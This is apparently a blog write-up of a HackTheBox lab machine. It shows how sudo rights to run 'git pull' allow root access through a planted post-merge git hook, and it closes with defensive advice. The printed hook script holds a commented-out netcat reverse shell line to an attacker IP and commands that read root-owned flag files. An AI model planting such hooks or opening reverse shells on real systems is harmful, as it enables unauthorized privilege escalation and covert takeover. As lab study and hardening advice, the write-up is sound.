Owned by git hooks

While enumerating a new hackthebox machine, I was stuck at the www-data user and no clear path to go. I knew I could dump the database, look at redis, and likely would find credentials to elevate — but I wanted to do some unique trickery!

The sudo -l command showed me I can run git pull as sudo, which means we can leverage git hooks to own the root user. In this particular example it was perfect, however, in real-world situations, if I can write to the git directory, I can own you if you ever touch git — you’d never even know it.

What are git hooks?

Git hooks are scripts that Git executes before or after events happen, these can be commits, pushes, and receiving data, and they’re built into git, they just need to be placed in the .git/hooks/ folder appropriately. Depending on the action you want to take, you can make it pre or post, and they’re native executable scripts. On Linux and Mac, these would be regular shell scripts, and can execute commands as the user they’re run under.

How can we leverage this?

Because we can run git pull as root via sudo, I can leverage the post-merge hook to run a bash script! Let’s make one in .git/hooks/, here’s what’s I put in the file:

#!/bin/bash
#nc 10.10.14.$X $PORT -e '/bin/sh'
cat /root/root.txt
cat /home/username/user.txt
whoami

Of course I could spawn a full shell here, but it opens a real vulnerability that could be leveraged in existing environments. There is generally very limited reasons to run git commands as a privileged user, however, I’ve seen many organizations run it privileged, as long as I can add a file in the .git/ directory, then I can do anything you can as a privileged user.

Key takeaways

Never run git as a privileged user, under any circumstances, and never trust the git hooks directory. Routinely check your git hooks for any code that shouldn’t be there.